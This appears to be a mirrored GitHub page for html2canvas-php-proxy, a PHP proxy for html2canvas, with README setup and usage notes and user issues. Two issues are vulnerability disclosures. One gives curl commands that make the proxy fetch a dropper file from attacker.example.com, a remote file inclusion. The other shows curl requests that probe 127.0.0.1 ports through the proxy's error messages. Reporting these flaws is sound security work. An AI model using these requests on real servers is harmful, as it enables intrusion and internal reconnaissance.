Code Monkey home page Code Monkey logo

html2canvas-php-proxy's Introduction

html2canvas-php-proxy

PHP Proxy html2canvas

This script allows you to use html2canvas.js with different servers, ports and protocols (http, https), preventing to occur "tainted" when exporting the <canvas> for image.

Others scripting language

You do not use PHP, but need html2canvas working with proxy, see other proxies:

Problems and solutions

When adding an image that belongs to another domain in <canvas> and after that try to export the canvas for a new image, a security error occurs (actually occurs is a security lock), which can return the error:

SecurityError: DOM Exception 18

Error: An attempt was made to break through the security policy of the user agent.

If using Google Maps (or google maps static) you can get this error in console:

Google Maps API error: MissingKeyMapError

You need get a API Key in: https://developers.google.com/maps/documentation/javascript/get-api-key

If get this error:

Access to Image at 'file:///...' from origin 'null' has been blocked by CORS policy: Invalid response. Origin 'null' is therefore not allowed access.

Means that you are not using an HTTP server, html2canvas does not work over the "file:///" protocol, use Apache, Nginx or IIS with PHP for work.

Follow

I ask you to follow me or "star" my repository to track updates

Run script in Cross-domain (data URI scheme)

(See details: #9)

Note: Enable cross-domain in proxy server can consume more memory, but can be faster in execution it performs only one request at the proxy server.

Note: If the file html2canvasproxy.php is in the same domain that your project, you do not need to enable this option.

Note: Disable the "cross-domain" does not mean you will not be able to capture images from different servers, in other words, the "cross-domain" here refers to "html2canvas.js" (not necessarily the javascript file, but the place where runs) and the "html2canvas.php" are in different domains, the "cross-domain" here refers domain.

In some cases you may want to use this html2canvasproxy.php on a specific server, but the "html2canvas.js" and another server, this would cause problems in your project with the security causing failures in execution. In order to use security just set in the html2canvasproxy.php:

Enable data uri scheme for use proxy for all servers:

define('H2CP_DATAURI', true);

Disable data uri scheme:

define('H2CP_DATAURI', false);

Setup

Definition Description
define('H2CP_PATH', 'cache'); Folder where the images are saved
define('H2CP_PERMISSION', 0666); Set forlder permission (use 644 or 666 for remove execution for prevent sploits)
define('H2CP_CACHE', 60 * 5 * 1000); Limit access-control and cache in seconds, define 0/false/null/-1 to not use "http header cache"
define('H2CP_TIMEOUT', 20); Timeout from load Socket
define('H2CP_MAX_LOOP', 10); Configure loop limit for redirects (location header)
define('H2CP_DATAURI', false); Enable use of "data URI scheme"
define('H2CP_PREFER_CURL', true); Prefer curl if avaliable or disable
define('H2CP_SSL_VERIFY_PEER', false); Set false for disable SSL checking or true for enable (require config PHP.INI with curl.cainfo=/path/to/cacert.pem). You can set path manualy like this: define('H2CP_SSL_VERIFY_PEER', '/path/to/cacert.pem');
define('H2CP_ALLOWED_DOMAINS', '*'); * allow all domains, for subdomains use like this *.site.com, for fixed domains use , 'site.com,www.site.com' (string separed by commas)
define('H2CP_ALLOWED_PORTS', '80,443'); Config allowed ports (string separed by commas)

Usage

Note: Requires PHP5+

<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
        <title>html2canvas php proxy</title>
        <script src="html2canvas.js"></script>
        <script>
        //<![CDATA[
        (function() {
            window.onload = function(){
                html2canvas(document.body, {
                    "logging": true, //Enable log (use Web Console for get Errors and Warnings)
                    "proxy": "html2canvasproxy.php",
                    "onrendered": function (canvas) {
                        var img = new Image();
                        img.onload = function() {
                            img.onload = null;
                            document.body.appendChild(img);
                        };
                        img.onerror = function() {
                            img.onerror = null;
                            if(window.console.log) {
                                window.console.log("Not loaded image from canvas.toDataURL");
                            } else {
                                alert("Not loaded image from canvas.toDataURL");
                            }
                        };
                        img.src = canvas.toDataURL("image/png");
                    }
                });
            };
        })();
        //]]>
        </script>
    </head>
    <body>
        <p>
            <img alt="google maps static" src="http://maps.googleapis.com/maps/api/staticmap?center=40.714728,-73.998672&amp;zoom=12&amp;size=800x600&amp;maptype=roadmap&amp;sensor=false">
        </p>
    </body>
</html>

Using Web Console

If you have any problems with the script recommend to analyze the log use the Web Console from your browser:

Get NetWork results:

An alternative is to diagnose problems accessing the link directly:

http://[DOMAIN]/[PATH]/html2canvasproxy.php?url=http%3A%2F%2Fmaps.googleapis.com%2Fmaps%2Fapi%2Fstaticmap%3Fcenter%3D40.714728%2C-73.998672%26zoom%3D12%26size%3D800x600%26maptype%3Droadmap%26sensor%3Dfalse%261&callback=html2canvas_0

Replace [DOMAIN] by your domain (eg. 127.0.0.1) and replace [PATH] by your project folder (eg. project-1/test), something like:

http://localhost/project-1/test/html2canvasproxy.php?url=http%3A%2F%2Fmaps.googleapis.com%2Fmaps%2Fapi%2Fstaticmap%3Fcenter%3D40.714728%2C-73.998672%26zoom%3D12%26size%3D800x600%26maptype%3Droadmap%26sensor%3Dfalse%261&callback=html2canvas_0

Changelog

Changelog moved to https://github.com/brcontainer/html2canvas-php-proxy/blob/master/CHANGELOG.md

Next versions

Details of future versions are being studied, in other words, can happen as can be forsaken ideas. The ideas here are not ready or are not public in the main script, are only suggestions. You can offer suggestions on issues.

  • Etag cache browser for use HTTP 304 (resources are reusable, avoiding unnecessary downloads)
  • Cache from SOCKET, if not specified header cache in SOCKET, then uses settings by DEFINE();
  • Rewrinte script using PSR-4
  • Support to composer

html2canvas-php-proxy's People

Contributors

brcontainer avatar bryant1410 avatar jasonhewes123 avatar marcalj avatar n0f avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

html2canvas-php-proxy's Issues

Version html2canvas 0.5.0-alpha

Hi Guilherme,

I have noticed that the proxy is not working with the new version of html2canvas.

They have changed the way to called the proxy and the way to use CORS.

Can you take a look to it?

Thanks!

Cross domain and SVG not work

Note: This question/issue has been established to guide proxy servers.

If my html/script is on a domain like this http://www.example.com and the proxy in another like this http://proxy.example.com (or http://www.example2.com) the script fails to convert the images to canvas, see example:

<script>
//<![CDATA[
(function() {
    window.onload = function(){
        html2canvas(document.body, {
            "logging": true, //Enable log (use Web Console for get Errors and Warnings)
            "proxy":"http://proxy.example.com/html2canvasproxy.php", //or  "proxy":"http://www.example2.com/html2canvasproxy.php"
            "onrendered": function(canvas) {
                var img = new Image();
                img.onload = function() {
                    img.onload = null;
                    document.body.appendChild(img);
                };
                img.src = canvas.toDataURL("image/png");
            }
        });
    };
})();
//]]>
</script>

Script show this error:

Uncaught SecurityError: Failed to execute 'toDataURL' on 'HTMLCanvasElement': tainted canvases may not be exported.

And the proxy don't support SVG images.

Not running on client side

Hey ,
Thanks for your great script ,
i wanted to make an iframe with the same origin policy pointed to another domain , but i've rad your README.md and you mentioned that you need proxy , but after this when i do the iframe , it running on the server side not on the client side ,
Every image called from the server side not on the client side ,
And thanks

The execution time is not configured enough to TIMEOUT in SOCKET

I set up your proxy solution with html2canvas two weeks ago. Everything was working fine. Images were downloaded and displayed.

Now I wanted to work some more with it but suddenly it stopped working.
To make sure I didn't broke anything I tried to get your example running but the example also isn't working somehow. Every image fails to be downloaded.

Can you please have a look here?
http://www.moviegeek.de/test.html

basic url login

Hi,
First of all I would like to thank you for your php proxy, it is saving my life!
I am using it to print with html2canvas a map using Googlemaps. It is working really good.
The issue comes when I try to put on top of the map a WMS that request the login in the url like this:
https://username:password@WMS_Server_Address
When I run the proxy it gives me a 401 Unauthorized Error. Could it be because the proxy is not sending this user and loging after executing the fsockopen?
I am not getting this error runing other WMS with other authentication method.
I would really appreciate your help!
Thanks again for your proxy!
;)

Does this still work..?

Hey, I have been trying to get this working. But after uploading the example to my site, it doesn't work and pushes this to the console:

image

I had only tested this since it was not working with the code I had cooked up from the "usage" section in README.

Any idea how I can fix this? Or is this no longer being support?

Cheers.

Why not without java?

I create a java class,but it is not execute.Could you write a example to me ? Thanks!

Bug: Missing $token for $locationFile

Hi,
I needed your proxy but didn't get it working. After code review, I saw that on lines 135, 138 and 141 you forgot to add the $token variable to the $locationFile. After changing this in the source code, I successfully got the proxy working.

I'm not too familiar with git, otherwise I would have send a pull request.

Cheers,

Christophe

Remote File Inclusion vulnerability

I was asked to include v0.1.8 of this script on our web platform as part of an integration with a third-party distributor of our materials. After reviewing the source code, I found that the script is vulnerable to a remote file inclusion attack. The attack is mitigated by the fact that only images or HTML files can be uploaded and the files will only be written to the images subdirectory, or other subdirectory set in the script configuration.

Example:

Step 1. Scan for the existence of html2canvasproxy.php. Many users will place the file in their root web directory so this would theoretically be trivial.

Step 2. Send a command to download an arbitrary file onto the server. Because the script checks the mime time of the Content-Type header in the downloaded file and restricts it to the following mime types:

  • image/bmp
  • image/windows-bmp
  • image/ms-bmp
  • image/jpeg
  • image/jpg
  • image/png
  • image/gif
  • text/html
  • application/xhtml
  • application/xhtml+xml

AND the script sets the file extension based on the above mime-type and not any hints provided in the Content-Disposition header, then only these types of files can be dropped on the server.

Example exploit:
curl -i http://victim.example.com/html2canvasproxy.php?url=http://attacker.example.com/dropper.php
curl -i http://victim.example.com/html2canvasproxy.php?url=http://attacker.example.com/evil.png

Contents of dropper.php:

Security Issue: Local Port Scan

Hi,

during a vulnerability assessment, I've seen this script included into a WordPress plugin, that allowed me to check if a TCP port was listening on the localhost or local network of my target by reading the different returned errors:

# An open 22/tcp port:
$ curl -s 'http://target/wp-content/plugins/-redacted-/html2canvasproxy.php?url=http://127.0.0.1:22'
console.log("error: html2canvas-proxy-php: This request did not return a HTTP response valid");

# A closed 1234/tcp port:
$ curl -s 'http://target/wp-content/plugins/-redacted-/html2canvasproxy.php?url=http://127.0.0.1:1234'
console.log("error: html2canvas-proxy-php: SOCKET: Connection refused(111)");

Moreover, in the specific environment of the plugin, I was able to store a "Cross-Site Scripting" making this script to get a text/html content that includes not sanitized JavaScript syntax. Obviously, in this case, the problem is not related to html2canvas script but to the way is used.

Probably, in my humble opinion, it should not be possible to request ports different then tcp/80 and tcp/443 if not explicitly allowed by configuration, and it should remove javascript syntax before store the output file.

Sorry for any inaccuracies, let me know if you need more details.

error: html2canvas-proxy-php: Can not create directory

Hey there.

Im trying to use the proxy in order to render 3 images within an html body.

console error is:

screen shot 2014-08-27 at 4 37 17 pm

but after debugging turns out the reason for the fail is : "error: html2canvas-proxy-php: Can not create directory".

Can you advise me what to do ?

Thank you

Capture Screen seems to be broken.

Hi,

I have integrated google map in our project and this application I have used to image capture option with html2canvas feature. Use this package I have facing the following list of problems.

  1. Sometimes the image seem is broken.
  2. We are using an iframe in the application and it is open and took the image capture means some error is showing.

Failed to load https://github.com/brcontainer/html2canvas-php-proxy?url=about%3Ablank: No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'http://localhost:3000' is therefore not allowed access.
html2canvas.js:1488 3745ms html2canvas: Failed loading image #19 FrameContainer {image: null, src: iframe, promise: Promise}image: Event {isTrusted: true, type: "load", target: null, currentTarget: null, eventPhase: 0, …}promise: Promise {: Error: Network Error
at XMLHttpRequest.xhr.onerror (http://localhost:3000/js/lib/html2canvas/htm…}__proto__: Promise[[PromiseStatus]]: "rejected"[[PromiseValue]]: Error: Network Error
at XMLHttpRequest.xhr.onerror (http://localhost:3000/js/lib/html2canvas/html2canvas.js:3193:20)src: iframe__proto__: Object Error: Network Error
at XMLHttpRequest.xhr.onerror (html2canvas.js:3193)

Uncaught ReferenceError: html2canvas_X is not defined

I have three different divs that i'm turning into images with id's of "boxBanner", "skyscraperBanner", and "scoreboxBanner". When the user clicks a button, I'm running a function that does the following code for each of the three IDs:

html2canvas($("#[DIV ID HERE]"), {
proxy: "./proxy.php",
onrendered: function(canvas) {
var theCanvas = canvas;
$("#resultsArea").append(canvas);
}
});

This code will only render one of the three images. In the console, I get an error stating "Uncaught ReferenceError: html2canvas_0 is not defined" with a 2 next two it, (one for each of the divs that isn't the first i'm assuming).

Is there a fix for this?

Proxy loads images but doesn't fulfil promises in html2canvas

Hi!

I'm trying to use this proxy to load cross origin images to my canvas. The images are downloaded correctly, but html2canvas says the image load failed. The promises are not being fulfilled correctly.

From the network requests to the proxy, I can see the response as a console.log with the image in base 64.

image

Html2canvas, in turn, displays this:

image

Any help would be much appreciated, thanks!

It's not working...

Hello L,
I run your test case and it's not working, is it still working?

Also, actually what I want is that save the google adsense to png, is it possible?

Organize Functions In A Class?

I like this project but need the code organized as a class that does not create globally-scoped functions and variables. If I made the necessary changes, would a pull request be considered?

Not getting data back but the path to the files (html2canvas 4.1)

Hello Guilherme,
I am trying your proxy with the CDN 4.1 version of html2canvas to fetch a whole site with images. The file fetching (html and images) works fine, everything is saved in the /images folder. However, upon returning to the script instead of getting the HTML and base64 encoded images, I receive the PATHs to the temp files. Thus the following standard implementation of html2canvas doesn't seem to work:

function startCapture2() {
var url = "http://google.com";
var urlParts = document.createElement('a');
urlParts.href = url;
alert(urlParts.href);

$.getJSON("html2canvasproxy.php?callback=?", { xhr2:false, url:urlParts.href }, function(html) {
alert(html);
// NO HTML COMING BACK HERE BUT THE PATH http://localhost.......html

  iframe = document.createElement('iframe');
  $(iframe).css({ 'visibility':'hidden'}).width($(window).width()).height($(window).height());
  $('#content').append(iframe);
  d = iframe.contentWindow.document;
  d.open();
  $(iframe.contentWindow).load(iframeLoad.bind(null, iframe));
  $('base').attr('href',urlParts.protocol+"//"+urlParts.hostname+"/" + urlParts.pathname);
  html = html.replace("<head>","<head><base href='"+urlParts.protocol+"//"+urlParts.hostname+"/" + urlParts.pathname + "'  />");
  if($("#disablejs").prop('checked')){
    html = html.replace(/\<script/gi,"<!--<script");
    html = html.replace(/\<\/script\>/gi,"<\/script>-->");
  }
  d.write(html);
  d.close();

});
}

What am I missing here?
Thanks

Works successfully but no map pins

Hi,

I've tried to download the folder and run on my localhost. I tried to run one of the examples given (google-maps.html) and it works, but the screenshot does not capture the map pin/marker. Is that it was supposed to work? How do I capture the marker with the google maps?

Thanks.

html2canvas proxy not working regularly

In my application, I need to get images from facebook and instagram on click. However after the first few clicks, the code does not fetch the images. Is it because, sometimes, the images are the same? Need a solution asap.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.